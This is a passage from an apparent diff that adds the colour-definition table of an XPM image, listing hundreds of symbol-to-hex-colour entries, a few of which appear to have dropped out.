+"]} c #989463", +"^} c #A8A473", +"/} c #A19B72", +"(} c #9F9967", +"_} c #99955A", +":} c #D6CF7C", +"<} c #F5EA95", +"[} c #F1E694", +"}} c #ECE193", +"|} c #E3D692", +"1} c #E9DF91", +"2} c #F6EE8E", +"3} c #EFE19A", +"4} c #DFD38B", +"5} c #605940", +"6} c #C9B499", +"7} c #FFEBC6", +"8} c #E8D6BB", +"9} c #E9D2AA", +"0} c #E4C696", +"a} c #594F37", +"b} c #4C452A", +"c} c #776A48", +"d} c #A6946C", +"e} c #FCF580", +"f} c #ECE080", +"g} c #B6A17E", +"h} c #B9A87C", +"i} c #9B8A7A", +"j} c #CCBF79", +"k} c #FFFF76", +"l} c #D7C975", +"m} c #AE9473", +"n} c #CBAD72", +"o} c #D6B370", +"p} c #DCB56E", +"q} c #D1A76C", +"r} c #D7B86B", +"s} c #FDF669", +"t} c #E5D468", +"u} c #C4A866", +"v} c #C7AD68", +"w} c #E6CC62", +"x} c #BB7322", +"y} c #652E11", +"z} c #441822", +"A} c #FFE252", +"B} c #FAFF61", +"C} c #F7FE5D", +"D} c #F9FE62", +"E} c #F8FF64", +"F} c #F3F965", +"G} c #EAEF67", +"H} c #DDE369", +"I} c #CFD46B", +"J} c #FCF46C", +"K} c #F0EC6E", +"L} c #BEC36F", +"M} c #C8CE71", +"N} c #DBDF72", +"O} c #E5EA74", +"P} c #EEF375", +"Q} c #F2F777", +"R} c #F4F978", +"S} c #F3F87B", +"T} c #E7EB7E", +"U} c #D2D680", +"V} c #E9EC8A", +"W} c #ACA85F", +"X} c #C4B5A9", +"Y} c #FFF5E2", +"Z} c #F5EDE1", +"`} c #FFFFEC", +" | c #C3B8A7", +".| c #282820", +"+| c #50533D", +"@| c #85885E", +"#| c #C6CA84", +"$| c #D7DC91", +"%| c #F2F090", +"&| c #E4E48F", +"*| c #E6EDA2", +"=| c #CDCE6F", +"-| c #7E7561", +";| c #F5EEEA", +">| c #C9BFB5", +",| c #36371F", +"'| c #61643E", +")| c #787953", +"!| c #B6B577", +"~| c #D4D591", +"{| c #F4F097", +"]| c #F0EC96", +"^| c #E5E394", +"/| c #F5F29B", +"(| c #FFFD9D", +"_| c #99995E", +":| c #7E7668", +"<| c #B7ACA2", +"[| c #CDC0B3", +"}| c #CEBEAD", +"|| c #BEAF9D", +"1| c #93897B", +"2| c #746D56", +"3| c #8A854D", +"4| c #DED483", +"5| c #E6DA8D", +"6| c #E7DC90", +"7| c #DFD190", +"8| c #F4ED8D", +"9| c #FCF297", +"0| c #E8D991", +"a| c #655E3F", +"b| c #B19F88", +"c| c #FFF1CB", +"d| c #E7D7BC", +"e| c #EAD8BD", +"f| c #E6D2B2", +"g| c #FFE4B2", +"h| c #B09974", +"i| c #332E1E", +"j| c #655B39", +"k| c #7D6E50", +"l| c #BBAB72", +"m| c #D0C17D", +"n| c #AD9C7B", +"o| c #9B8B7A", +"p| c #A79878", +"q| c #FBF677", +"r| c #F9F274", +"s| c #B09B73", +"t| c #BEA171", +"u| c #D4B370", +"v| c #DDB76E", +"w| c #E1B76C", +"x| c #DEB56B", +"y| c #C99F69", +"z| c #C9A667", +"A| c #E8D966", +"B| c #FDF864", +"C| c #FFFF67", +"D| c #FFFC60", +"E| c #AF6921", +"F| c #5F2A10", +"G| c #4C201D", +"H| c #FFE251", +"I| c #FAFF5F", +"J| c #F7FE5B", +"K| c #F8FF62", +"L| c #F4FB64", +"M| c #EEF465", +"N| c #E6EC67", +"O| c #DBE169", +"P| c #E6E66A", +"Q| c #D6D86C", +"R| c #D1D76D", +"S| c #E0E46F", +"T| c #E6EB70", +"U| c #EEF472", +"V| c #F4F973", +"W| c #F4F975", +"X| c #F4F976", +"Y| c #F1F777", +"Z| c #EEF479", +"`| c #EAEF7A", +" 1 c #E3E87B", +".1 c #DBDE7D", +"+1 c #D3D67E", +"@1 c #C6CD78", +"#1 c #7C7959", +"$1 c #E0CFC1", +"%1 c #F9EEDD", +"&1 c #F5EDE2", +"*1 c #FFFFF4", +"=1 c #ABA191", +"-1 c #222517", +";1 c #9D9D63", +">1 c #C9CD85", +",1 c #DBDD8F", +"'1 c #EAE88D", +")1 c #D6DB94", +"!1 c #EDEE87", +"~1 c #7F794C", +"{1 c #D4CCCF", +"]1 c #FFFFF9", +"^1 c #F1EAE1", +"/1 c #5B5845", +"(1 c #4D5129", +"_1 c #74744C", +":1 c #B3B16B", +"<1 c #E5E28C", +"[1 c #F3EF93", +"}1 c #DDDC92", +"|1 c #EAE792", +"11 c #FFFF9C", +"21 c #919058", +"31 c #897E7A", +"41 c #FFF4DE", +"51 c #FFF5D6", +"61 c #F4E3C5", +"71 c #FBEACA", +"81 c #FFFCD8", +"91 c #70655B", +"01 c #5C5932", +"a1 c #B7AF6E", +"b1 c #CBBF81", +"c1 c #EDE48B", +"d1 c #FFFC95", +"e1 c #EBDD8F", +"f1 c #6D6643", +"g1 c #A89681", +"h1 c #FFF0CC", +"i1 c #E9D8BD", +"j1 c #EDDCC3", +"k1 c #EAD7BB", +"l1 c #E6D1AD", +"m1 c #FFE1AB", +"n1 c #6D5F46", +"o1 c #332F1B", +"p1 c #6F6340", +"q1 c #85745C", +"r1 c #DACE78", +"s1 c #FFFF7E", +"t1 c #B3A57A", +"u1 c #9D9078", +"v1 c #EFE976", +"w1 c #FFFF73", +"x1 c #C0AE72", +"y1 c #B09470", +"z1 c #D1B16F", +"A1 c #DCB66D", +"B1 c #E3BA6C", +"C1 c #E5B96A", +"D1 c #E2B769", +"E1 c #D9B067", +"F1 c #C69D66", +"G1 c #B28764", +"H1 c #C6A962", +"I1 c #FFFF65", +"J1 c #EED95E", +"K1 c #9E5420", +"L1 c #633010", +"M1 c #A24800", +"N1 c #CC671F", +"O1 c #FFE250", +"P1 c #F8FF5D", +"Q1 c #F7FE59", +"R1 c #F7FE5E", +"S1 c #F7FF60", +"T1 c #F5FC61", +"U1 c #F1F763", +"V1 c #EDF365", +"W1 c #E8EE67", +"X1 c #DDE468", +"Y1 c #DFE56A", +"Z1 c #E7EC6B", +"`1 c #EBF06C", +" 2 c #EEF46E", +".2 c #F1F76F", +"+2 c #F2F871", +"@2 c #F0F672", +"#2 c #EDF274", +"$2 c #E9EE75", +"%2 c #E6EA76", +"&2 c #E1E678", +"*2 c #D8DE79", +"=2 c #CDD27A", +"-2 c #CFD381", +";2 c #9DA560", +">2 c #88816A", +",2 c #FFF1DD", +"'2 c #F4EADA", +")2 c #F5ECE1", +"!2 c #7C7564", +"~2 c #393914", +"{2 c #7B7946", +"]2 c #B7B469", +"^2 c #EBE886", +"/2 c #FEFC8C", +"(2 c #E2E28A", +"_2 c #E2E997", +":2 c #92904A", +"<2 c #ABA0A0", +"[2 c #FFFFFB", +"}2 c #A49B8E", +"|2 c #353915", +"12 c #707146", +"22 c #9D9A5A", +"32 c #D1D080", +"42 c #D7D891", +"52 c #EFEC91", +"62 c #F5F08F", +"72 c #DFDD8E", +"82 c #AAAA60", +"92 c #807770", +"02 c #F1E1C5", +"a2 c #F0E1C6", +"b2 c #FFFFE7", +"c2 c #EDDEC4", +"d2 c #E8D9BE", +"e2 c #F8E7C6", +"f2 c #FFF7D5", +"g2 c #62584C", +"h2 c #4A4728", +"i2 c #B2AA68", +"j2 c #F2EA87", +"k2 c #F0E38C", +"l2 c #716844", +"m2 c #9F9180", +"n2 c #FFF3D0", +"o2 c #EDDDC4", +"p2 c #EDDDC5", +"q2 c #E4D1B3", +"r2 c #FFE9B7", +"s2 c #B8A17A", +"t2 c #2C2819", +"u2 c #615634", +"v2 c #756849", +"w2 c #948569", +"x2 c #FDF77B", +"y2 c #807578", +"z2 c #8C8077", +"A2 c #EBE575", +"B2 c #FFFF74", +"C2 c #CBBB72", +"D2 c #A78E70", +"E2 c #CAAB6E", +"F2 c #D9B46D", +"G2 c #E2B96B", +"H2 c #E8BB6A", +"I2 c #E8BA68", +"J2 c #E5B766", +"K2 c #DDB065", +"L2 c #D1A864", +"M2 c #C59E62", +"N2 c #AA8160", +"O2 c #F2E763", +"P2 c #EFD95C", +"Q2 c #9B5020", +"R2 c #643210", +"S2 c #FFE24F", +"T2 c #F8FF5C", +"U2 c #F6FE58", +"V2 c #F7FE5A", +"W2 c #F7FE5C", +"X2 c #F5FE60", +"Y2 c #F3FB61", +"Z2 c #F1F863", +"`2 c #EFF664", +" 3 c #EDF366", +".3 c #EDF368", +"+3 c #EEF569", +"@3 c #F0F66B", +"#3 c #F0F66C", +"$3 c #EFF56E", +"%3 c #ECF26F", +"&3 c #E8EE71", +"*3 c #E4E971", +"=3 c #DDE273", +"-3 c #D2D975", +";3 c #D0D676", +">3 c #D5D977", +",3 c #DADC78", +"'3 c #EDEF83", +")3 c #ABAB55", +"!3 c #AA9E8D", +"~3 c #F5EDE3", +"{3 c #FBF1E1", +"]3 c #FBEDDA", +"^3 c #524F41", +"/3 c #3D4020", +"(3 c #717349", +"_3 c #AAAE6E", +":3 c #D8DB86", +"<3 c #ECEC88", +"[3 c #FFFF97", +"}3 c #BDBD63", +"|3 c #847D72", +"13 c #FFFDF4", +"23 c #FFFBE8", +"33 c #EAE1D7", +"43 c #4F4E37", +"53 c #5A5D2F", +"63 c #82804B", +"73 c #BEBB70", +"83 c #D2D38A", +"93 c #DADA8F", +"03 c #EAE78D", +"a3 c #EFEB8D", +"b3 c #E3E18E", +"c3 c #EBEA88", +"d3 c #847F5F", +"e3 c #E3D2C7", +"f3 c #F9ECCF", +"g3 c #F2E6CC", +"h3 c #FBEED7", +"i3 c #A1988C", +"j3 c #C0B6AA", +"k3 c #FFF6E2", +"l3 c #F0E1CB", +"m3 c #FFF1D2", +"n3 c #E2CFB8", +"o3 c #3D3A27", +"p3 c #898544", +"q3 c #ADA35F", +"r3 c #67603E", +"s3 c #A39787", +"t3 c #FFF5D5", +"u3 c #EDDDC3", +"v3 c #ECDDC6", +"w3 c #EEDEC7", +"x3 c #ECDCC3", +"y3 c #E7D5B9", +"z3 c #F5DEB4", +"A3 c #F4D8A5", +"B3 c #4E4633", +"C3 c #3F3A20", +"D3 c #6F6441", +"E3 c #7C6D5B", +"F3 c #CCC173", +"G3 c #948A78", +"H3 c #897F76", +"I3 c #E9E475", +"J3 c #FFFF72", +"K3 c #D3C670", +"L3 c #A38A6F", +"M3 c #C4A66E", +"N3 c #D6B36C", +"O3 c #E1B86B", +"P3 c #E7BB69", +"Q3 c #EABB68", +"R3 c #EABB66", +"S3 c #E8B865", +"T3 c #E0B164", +"U3 c #D5A961", +"V3 c #CAA160", +"W3 c #B2875E", +"X3 c #E5D561", +"Y3 c #F2DE5B", +"Z3 c #A05421", +"`3 c #643110", +" 4 c #FFE24D", +".4 c #F8FF5A", +"+4 c #F6FE56", +"@4 c #F6FE59", +"#4 c #F6FD60", +"$4 c #F4FB63", +"%4 c #F3FA64", +"&4 c #F3FA66", +"*4 c #F0F769", +"=4 c #EDF46A", +"-4 c #E9F06B", +";4 c #E5EA6D", +">4 c #DCE26E", +",4 c #D0D770", +"'4 c #D3D871", +")4 c #E5E572", +"!4 c #F2EF74", +"~4 c #FEF775", +"{4 c #FEF776", +"]4 c #9B964A", +"^4 c #B1A4A0", +"/4 c #FFF8E3", +"(4 c #F5EBDD", +"_4 c #F6EEE1", +":4 c #F6EEE2", +"<4 c #F6EDE1", +"[4 c #FFF9E7", +"}4 c #E3D6C7", +"|4 c #444431", +"14 c #4D502C", +"24 c #81844F", +"34 c #BFC473", +"44 c #D8DE86", +"54 c #D3DA8A", +"64 c #E7EB80", +"74 c #888250", +"84 c #DBD2D1", +"94 c #FFFAE4", +"04 c #FFFFFA", +"a4 c #90887C", +"b4 c #333611", +"c4 c #6E7043", +"d4 c #A6A45D", +"e4 c #D6D47F", +"f4 c #D9D98C", +"g4 c #DDDB8B", +"h4 c #DDDA8A", +"i4 c #DEDB8A", +"j4 c #F8F595", +"k4 c #A8A65E", +"l4 c #A19889", +"m4 c #FFFFE6", +"n4 c #EBDBC1", +"o4 c #968E80", +"p4 c #141400", +"q4 c #2F2D17", +"r4 c #C1BAAF", +"s4 c #FEFBEC", +"t4 c #8D8472", +"u4 c #171600", +"v4 c #46412B", +"w4 c #B4AB9E", +"x4 c #FFFBE0", +"y4 c #EFE0C8", +"z4 c #ECDEC8", +"A4 c #EDDDC6", +"B4 c #E8D7BC", +"C4 c #F2DCB7", +"D4 c #FFE9B6", +"E4 c #6A5D48", +"F4 c #2C2814", +"G4 c #6C613C", +"H4 c #776A50", +"I4 c #A1946B", +"J4 c #D5CE78", +"K4 c #A19875", +"L4 c #FAF673", +"M4 c #FFFF71", +"N4 c #D6CA70", +"O4 c #A58D6F", +"P4 c #C1A46D", +"Q4 c #D3B16C", +"R4 c #DFB76A", +"S4 c #E6BB69", +"T4 c #EABC67", +"U4 c #EBBB66", +"V4 c #EBBB65", +"W4 c #EAB863", +"X4 c #E3B162", +"Y4 c #D7A960", +"Z4 c #CDA25E", +"`4 c #B6895D", +" 5 c #E7D65F", +".5 c #F4E059", +"+5 c #A55721", +"@5 c #663211", +"#5 c #FFE24C", +"$5 c #F8FF57", +"%5 c #F6FE54", +"&5 c #F6FE57", +"*5 c #F6FE5B", +"=5 c #F6FE5E", +"-5 c #F6FE61", +";5 c #F4FC62", +">5 c #F0F665", +",5 c #EBF267", +"'5 c #E7ED68", +")5 c #E0E669", +"!5 c #D3DA6B", +"~5 c #D0D66C", +"{5 c #E8E76D", +"]5 c #FCF86F", +"^5 c #FFF870", +"/5 c #EEEB71", +"(5 c #DFE072", +"_5 c #D4D774", +":5 c #CFD66D", +"<5 c #85825A", +"[5 c #DFCDC1", +"}5 c #F9EDDB", +"|5 c #F6EFE2", +"15 c #BDB2A3", +"25 c #36371B", +"35 c #666937", +"45 c #979B55", +"55 c #D3D777", +"65 c #E4EB82", +"75 c #FDFF92", +"85 c #828849", +"95 c #9D9294", +"05 c #FFFFF2", +"a5 c #FDF8E5", +"b5 c #E3D7CB", +"c5 c #424128", +"d5 c #5C5E2E", +"e5 c #7D7F4C", +"f5 c #C7C570", +"g5 c #EEEA86", +"h5 c #D7D789", +"i5 c #DBD988", +"j5 c #DCDA88", +"k5 c #E0DD87", +"l5 c #FFFB95", +"m5 c #8E8C55", +"n5 c #A99E96", +"o5 c #FFFADD", +"p5 c #FCF3D9", +"q5 c #D1C5B7", +"r5 c #363521", +"s5 c #636033", +"t5 c #635F29", +"u5 c #8C856E", +"v5 c #FFFEF4", +"w5 c #F4E9DA", +"x5 c #FFFAE7", +"y5 c #D7CCBB", +"z5 c #48443D", +"A5 c #CCC0B3", +"B5 c #EFE1CC", +"C5 c #EEDFCC", +"D5 c #EDDEC6", +"E5 c #E7D7BD", +"F5 c #F5E0BB", +"G5 c #FFE8B7", +"H5 c #756750", +"I5 c #292512", +"J5 c #675C36", +"K5 c #7F724C", +"L5 c #8B7B65", +"M5 c #DDD375", +"N5 c #EAE175", +"O5 c #F7F070", +"P5 c #CDBF6F", +"Q5 c #A48C6E", +"R5 c #C1A46C", +"S5 c #D4B26B", +"T5 c #DDB66A", +"U5 c #E5BA68", +"V5 c #E9BC67", +"W5 c #EABC66", +"X5 c #EBBB64", +"Y5 c #EBB962", +"Z5 c #E9B661", +"`5 c #E2B15F", +" 6 c #D8AA5E", +".6 c #CEA25C", +"+6 c #B8885A", +"@6 c #EFE05D", +"#6 c #EFD657", +"$6 c #AA5823", +"%6 c #693412", +"&6 c #FFE24B", +"*6 c #F7FF55", +"=6 c #F6FE52", +"-6 c #F6FE55", +";6 c #F6FE5A", +">6 c #F6FE5C", +",6 c #F6FE5D", +"'6 c #F5FD5E", +")6 c #F2FA60", +"!6 c #EEF562", +"~6 c #E8F063", +"{6 c #E3EA65", +"]6 c #D9E066", +"^6 c #CBD467", +"/6 c #DDE068", +"(6 c #FAF56A", +"_6 c #FAF56B", +":6 c #E5E66C", +"<6 c #D2D66E", +"[6 c #CBD26F", +"}6 c #CFD670", +"|6 c #DDE576", +"16 c #B4BD55", +"26 c #9F9776", +"36 c #FFF2DF", +"46 c #F1E7D7", +"56 c #F5ECE0", +"66 c #F4ECDE", +"76 c #8A8376", +"86 c #2B2F0B", +"96 c #767A3F", +"06 c #ACB15B", +"a6 c #E1E878", +"b6 c #FDFF8E", +"c6 c #C3CB5F", +"d6 c #7A7464", +"e6 c #FCF4EB", +"f6 c #F7EBD4", +"g6 c #857F71", +"h6 c #31340E", +"i6 c #737442", +"j6 c #A1A25D", +"k6 c #D5D57C", +"l6 c #FBF686", +"m6 c #EDE886", +"n6 c #DAD784", +"o6 c #D9D685", +"p6 c #DAD785", +"q6 c #F8F390", +"r6 c #8D8A56", +"s6 c #AFA399", +"t6 c #FFF5D9", +"u6 c #FFFFEB", +"v6 c #948C81", +"w6 c #212108", +"x6 c #807B4A", +"y6 c #827D39", +"z6 c #928B70", +"A6 c #FFFBF6", +"B6 c #F6EDDF", +"C6 c #F4E9DC", +"D6 c #FFF7E8", +"E6 c #FFFCEB", +"F6 c #EFE2D1", +"G6 c #F0E3D1", +"H6 c #EFE1CD", +"I6 c #FAE5BF", +"J6 c #FFE6B7", +"K6 c #6E624C", +"L6 c #26230F", +"M6 c #675B34", +"N6 c #87794B", +"O6 c #958263", +"P6 c #BEAF73", +"Q6 c #FFFB74", +"R6 c #E3DC6F", +"S6 c #B4A46E", +"T6 c #A9906D", +"U6 c #C4A76B", +"V6 c #D5B46A", +"W6 c #DEB769", +"X6 c #E5BA67", +"Y6 c #E9BD66", +"Z6 c #EABD64", +"`6 c #EBBA63", +" 7 c #EBBA62", +".7 c #EAB760", +"+7 c #E7B35F", +"@7 c #DFAE5D", +"#7 c #D5A75C", +"$7 c #C89A5A", +"%7 c #BF9359", +"&7 c #FBF35A", +"*7 c #DEB956", +"=7 c #B15D23", +"-7 c #6C3613", +";7 c #FFE249", +">7 c #F7FF53", +",7 c #F5FE51", +"'7 c #F5FE59", +")7 c #F3FC5B", +"!7 c #F1F95D", +"~7 c #ECF45E", +"{7 c #E6ED60", +"]7 c #E0E661", +"^7 c #D1DA63", +"/7 c #CCD364", +"(7 c #EDEB65", +"_7 c #FFFA67", +":7 c #E7E768", +"<7 c #CDD369", +"[7 c #CCD46A", +"}7 c #D6DD6B", +"|7 c #DDE36D", +"17 c #E0E66E", +"27 c #FCFF7B", +"37 c #99A044", +"47 c #998D81", +"57 c #F3E9DA", +"67 c #F6EDE0", +"77 c #FFFDEB", +"87 c #726D5B", +"97 c #3B4111", +"07 c #808440", +"a7 c #BFC561", +"b7 c #F1F87B", +"c7 c #FFFF82", +"d7 c #7E7F46", +"e7 c #C6B7B9", +"f7 c #DACFC2", +"g7 c #3B3B24", +"h7 c #5B5C2C", +"i7 c #838349", +"j7 c #C3C36D", +"k7 c #E2E181", +"l7 c #E9E683", +"m7 c #F8F182", +"n7 c #F2EE82", +"o7 c #F0EB82", +"p7 c #ECE883", +"q7 c #A39F53", +"r7 c #A3988F", +"s7 c #FFFCDF", +"t7 c #FDF5D9", +"u7 c #CCC2B4", +"v7 c #292814", +"w7 c #424011", +"x7 c #484421", +"y7 c #BDB9B2", +"z7 c #FFFEFA", +"A7 c #F9F0E3", +"B7 c #FCF2E5", +"C7 c #F3E8DA", +"D7 c #F2E6D6", +"E7 c #EEE0C9", +"F7 c #E8D7BD", +"G7 c #FFEBC3", +"H7 c #FBE3B5", +"I7 c #625744", +"J7 c #28240E", +"K7 c #6D6136", +"L7 c #8D7D4B", +"M7 c #A38E62", +"N7 c #B9A572", +"O7 c #FEF974", +"P7 c #F2EF6F", +"Q7 c #C7BC6E", +"R7 c #A08D6D", +"S7 c #AB926C", +"T7 c #CAAC6B", +"U7 c #D7B56A", +"V7 c #DFB868", +"W7 c #E5BB67", +"X7 c #E9BC66", +"Y7 c #EBBD64", +"Z7 c #EBBB63", +"`7 c #EBB961", +" 8 c #EAB860", +".8 c #E7B55E", +"+8 c #E2B05D", +"@8 c #D9A95C", +"#8 c #D0A35A", +"$8 c #B88659", +"%8 c #DBBF57", +"&8 c #FFF959", +"*8 c #C59154", +"=8 c #BC6A24", +"-8 c #6F3713", +";8 c #4F211E", +">8 c #CC6720", +",8 c #FFE248", +"'8 c #F7FF51", +")8 c #F5FE4F", +"!8 c #F5FE50", +"~8 c #F6FE53", +"{8 c #F5FE56", +"]8 c #F3FC58", +"^8 c #F0F959", +"/8 c #EBF25B", +"(8 c #E4EC5C", +"_8 c #DCE25E", +":8 c #CBD35F", +"<8 c #D3D761", +"[8 c #F9F462", +"}8 c #FBF563", +"|8 c #D5DA65", +"18 c #CBD365", +"28 c #D7DE67", +"38 c #DFE568", +"48 c #E3E969", +"58 c #E6ED6B", +"68 c #989B48", +"78 c #B5A49E", +"88 c #FFF7E0", +"98 c #FBEFE0", +"08 c #F5E6D8", +"a8 c #636044", +"b8 c #52581C", +"c8 c #8B9044", +"d8 c #CDD265", +"e8 c #B9C04D", +"f8 c #8D847D", +"g8 c #F0E1CA", +"h8 c #837D6F", +"i8 c #2A2D09", +"j8 c #71713F", +"k8 c #A1A158", +"l8 c #DDDC78", +"m8 c #EFEC82", +"n8 c #E5E380", +"o8 c #E2DE7F", +"p8 c #E8E580", +"q8 c #F0EA80", +"r8 c #EFEA80", +"s8 c #F2EE87", +"t8 c #BBB75F", +"u8 c #9C937F", +"v8 c #A29A89", +"w8 c #645F53", +"x8 c #B9B2AC", +"y8 c #FFFCF5", +"z8 c #F7EEE2", +"A8 c #F7EFE4", +"B8 c #F7EFE5", +"C8 c #F7EEE3", +"D8 c #F1E5D5", +"E8 c #FFF3CA", +"F8 c #EAD4AA", +"G8 c #4F4636", +"H8 c #2D2911", +"I8 c #74673A", +"J8 c #92814D", +"K8 c #AA9463", +"L8 c #C5AE71", +"M8 c #FFF973", +"N8 c #E9E26F", +"O8 c #CDC16E", +"P8 c #AD9A6D", +"Q8 c #A58D6C", +"R8 c #BFA36B", +"S8 c #D0B16A", +"T8 c #D9B769", +"U8 c #E2BA67", +"V8 c #E7BC66", +"W8 c #EABD65", +"X8 c #ECBD64", +"Y8 c #EBBC62", +"Z8 c #E9B85F", +"`8 c #E7B45E", +" 9 c #E2B05C", +".9 c #DAAA5B", +"+9 c #D1A459", +"@9 c #C19458", +"#9 c #B88B57", +"$9 c #FFFC55", +"%9 c #E1CA57", +"&9 c #BF8353", +"*9 c #C57225", +"=9 c #723914", +"-9 c #FFE247", +";9 c #F6FF4F", +">9 c #F5FE4D", +",9 c #F5FE4E", +"'9 c #F5FE53", +")9 c #F3FD54", +"!9 c #F0F956", +"~9 c #EBF357", +"{9 c #E3EA59", +"]9 c #D9E05A", +"^9 c #C7D05C", +"/9 c #DADC5D", +"(9 c #FFFB5E", +"_9 c #EFEC60", +":9 c #CBD161", +"<9 c #CFD763", +"[9 c #DDE464", +"}9 c #E3E965", +"|9 c #E8EF66", +"19 c #EDF367", +"29 c #F0F768", +"39 c #F3FB6A", +"49 c #F9FF61", +"59 c #A7A55E", +"69 c #DCC9C3", +"79 c #F7EAD7", +"89 c #FFF8E5", +"99 c #DED1C4", +"09 c #51512E", +"a9 c #646928", +"b9 c #989D4A", +"c9 c #DFE56D", +"d9 c #F6FB6E", +"e9 c #848351", +"f9 c #DDCFCE", +"g9 c #F9F0D8", +"h9 c #FEFAE2", +"i9 c #DFD2C3", +"j9 c #403E24", +"k9 c #5A5B2A", +"l9 c #7E7E45", +"m9 c #C1C067", +"n9 c #ECEA7D", +"o9 c #F2EE7F", +"p9 c #ECE97D", +"q9 c #E7E47D", +"r9 c #E3DE7D", +"s9 c #DED97E", +"t9 c #DBD57E", +"u9 c #DCD57E", +"v9 c #EAE37F", +"w9 c #7C774F", +"x9 c #CFBEB6", +"y9 c #FFF6D5", +"z9 c #EBDDC2", +"A9 c #FFF8E2", +"B9 c #F6ECDE", +"C9 c #F7F0E6", +"D9 c #F3E7D7", +"E9 c #EEE0CD", +"F9 c #F6E5CA", +"G9 c #FFFAD0", +"H9 c #C6B391", +"I9 c #393324", +"J9 c #322D14", +"K9 c #786B3E", +"L9 c #8E7D50", +"M9 c #AD9664", +"N9 c #DAC870", +"O9 c #F8ED72", +"P9 c #DED170", +"Q9 c #C1AD6E", +"R9 c #B09A6D", +"S9 c #AA926C", +"T9 c #BAA16B", +"U9 c #CAAE6A", +"V9 c #D2B269", +"W9 c #DBB868", +"X9 c #E2BB66", +"Y9 c #E7BC65", +"Z9 c #E9BC64", +"`9 c #EABC63", +" 0 c #E9BB62", +".0 c #E8B960", +"+0 c #E6B55F", +"@0 c #E3B35D", +"#0 c #DEAE5C", +"$0 c #D8A95B", +"%0 c #D0A459", +"&0 c #C49957", +"*0 c #AE7C56", +"=0 c #E9D655", +"-0 c #FCF353", +";0 c #B98B55", +">0 c #CF9651", +",0 c #CC7526", +"'0 c #753B15", +")0 c #FFE246", +"!0 c #F6FF4D", +"~0 c #F4FE4B", +"{0 c #F3FD51", +"]0 c #F0F952", +"^0 c #EAF354", +"/0 c #E2EA55", +"(0 c #D7DE57", +"_0 c #C2CC58", +":0 c #E1E15A", +"<0 c #FFFE5B", +"[0 c #DEDF5C", +"}0 c #C5CE5D", +"|0 c #D4DC5F", +"10 c #E1E760", +"20 c #E6EE62", +"30 c #ECF362", +"40 c #F0F864", +"50 c #F3FB65", +"60 c #F5FD66", +"70 c #FCFF6A", +"80 c #E2EF51", +"90 c #A69F6E", +"00 c #F5E0D6", +"a0 c #FFFFF0", +"b0 c #B9AFA0", +"c0 c #3C3F15", +"d0 c #737733", +"e0 c #A5A94E", +"f0 c #B4BB4A", +"g0 c #9F9490", +"h0 c #817B6C", +"i0 c #343509", +"j0 c #706F3C", +"k0 c #9D9C54", +"l0 c #DAD772", +"m0 c #F2EE7C", +"n0 c #F1EE7B", +"o0 c #EEEB7A", +"p0 c #EAE67B", +"q0 c #E7E17B", +"r0 c #E3DD7B", +"s0 c #E0DA7B", +"t0 c #DED67A", +"u0 c #EFE685", +"v0 c #B8B260", +"w0 c #686053", +"x0 c #EADCCC", +"y0 c #FFFFDC", +"z0 c #F2E3C8", +"A0 c #F1E4CF", +"B0 c #F2E6D7", +"C0 c #F6EDE2", +"D0 c #F1E3D1", +"E0 c #FFFBDC", +"F0 c #FFECC7", +"G0 c #887C63", +"H0 c #242113", +"I0 c #403A1F", +"J0 c #746844", +"K0 c #847354", +"L0 c #B9A767", +"M0 c #F0E470", +"N0 c #F4E971", +"O0 c #C8B66E", +"P0 c #AD956D", +"Q0 c #B39C6C", +"R0 c #BCA46B", +"S0 c #C3A96A", +"T0 c #C9AD68", +"U0 c #CFB067", +"V0 c #D5B466", +"W0 c #DBB765", +"X0 c #E0B864", +"Y0 c #E1B763", +"Z0 c #E2B761", +"`0 c #E1B560", +" a c #DFB45F", +".a c #DDB05E", +"+a c #DAAD5D", +"@a c #D6AA5B", +"#a c #D2A65A", +"$a c #CDA258", +"%a c #BF9257", +"&a c #AE7D56", +"*a c #DAC254", +"=a c #FFFF52", +"-a c #C7A051", +";a c #BC8952", +">a c #D89E4F", +",a c #D37927", +"'a c #783D16", +")a c #FFE144", +"!a c #F6FF4B", +"~a c #F4FE49", +"{a c #F4FF4B", +"]a c #F4FE4C", +"^a c #F4FE4D", +"/a c #F1FA4F", +"(a c #EBF450", +"_a c #E2EA52", +":a c #D8E053", +"b c #CAA059", +",b c #C29758", +"'b c #B28256", +")b c #B58955", +"!b c #E7D753", +"~b c #D6B851", +"{b c #B67F4F", +"]b c #CE9C50", +"^b c #DD9F4E", +"/b c #D97C28", +"(b c #7B3E16", +"_b c #FFDF43", +":b c #F5FF49", +"c c #CAA25D", +",c c #C79F5C", +"'c c #C49B5B", +")c c #BD935A", +"!c c #B68B58", +"~c c #B48957", +"{c c #BB9356", +"]c c #D4BB54", +"^c c #FAF553", +"/c c #F9F352", +"(c c #CAA750", +"_c c #B5804F", +":c c #CB974D", +"d c #EDE367", +",d c #EBE066", +"'d c #E3D965", +")d c #DED264", +"!d c #CCBE63", +"~d c #CAB962", +"{d c #C8B561", +"]d c #C7B060", +"^d c #CCB25F", +"/d c #C8AB5D", +"(d c #C5A45C", +"_d c #C3A05B", +":d c #C5A35A", +"e c #9A934D", +",e c #DED566", +"'e c #FFFF6B", +")e c #FFFF69", +"!e c #FDF668", +"~e c #F3EB67", +"{e c #F8F066", +"]e c #FFF865", +"^e c #FFFF64", +"/e c #FFFF63", +"(e c #FFFF62", +"_e c #FFFE61", +":e c #FFFF5F", +"f c #F1E3D2", +",f c #FFFBE1", +"'f c #A0947D", +")f c #272210", +"!f c #574D33", +"~f c #6C5F4F", +"{f c #C9BE66", +"]f c #F5F46A", +"^f c #D5CD67", +"/f c #B2A666", +"(f c #9E8F66", +"_f c #A08D65", +":f c #A59264", +"g c #DFD36C", +",g c #DED16C", +"'g c #D4C56B", +")g c #D3C46B", +"!g c #F0E76B", +"~g c #FAF36B", +"{g c #F4EA73", +"]g c #8C8143", +"^g c #A5998F", +"/g c #F1E4D3", +"(g c #FFF9DF", +"_g c #A0937B", +":g c #2D280F", +"h c #F0E969", +",h c #E7E068", +"'h c #BCB668", +")h c #CEC768", +"!h c #F7EF69", +"~h c #E0D769", +"{h c #D5CB69", +"]h c #E1D569", +"^h c #E2D569", +"/h c #E4D669", +"(h c #DED069", +"_h c #D2C269", +":h c #DDD069", +"i c #C5B4A1", +",i c #2F2E10", +"'i c #646227", +")i c #88843C", +"!i c #C1BB58", +"~i c #CEC865", +"{i c #DBD466", +"]i c #EAE265", +"^i c #B7B065", +"/i c #EBE366", +"(i c #E4DC66", +"_i c #CCC366", +":i c #E0D466", +"j c #FFFAE9", +",j c #D5C8C2", +"'j c #3C3921", +")j c #57570C", +"!j c #615D3E", +"~j c #EEDED0", +"{j c #F6E6C9", +"]j c 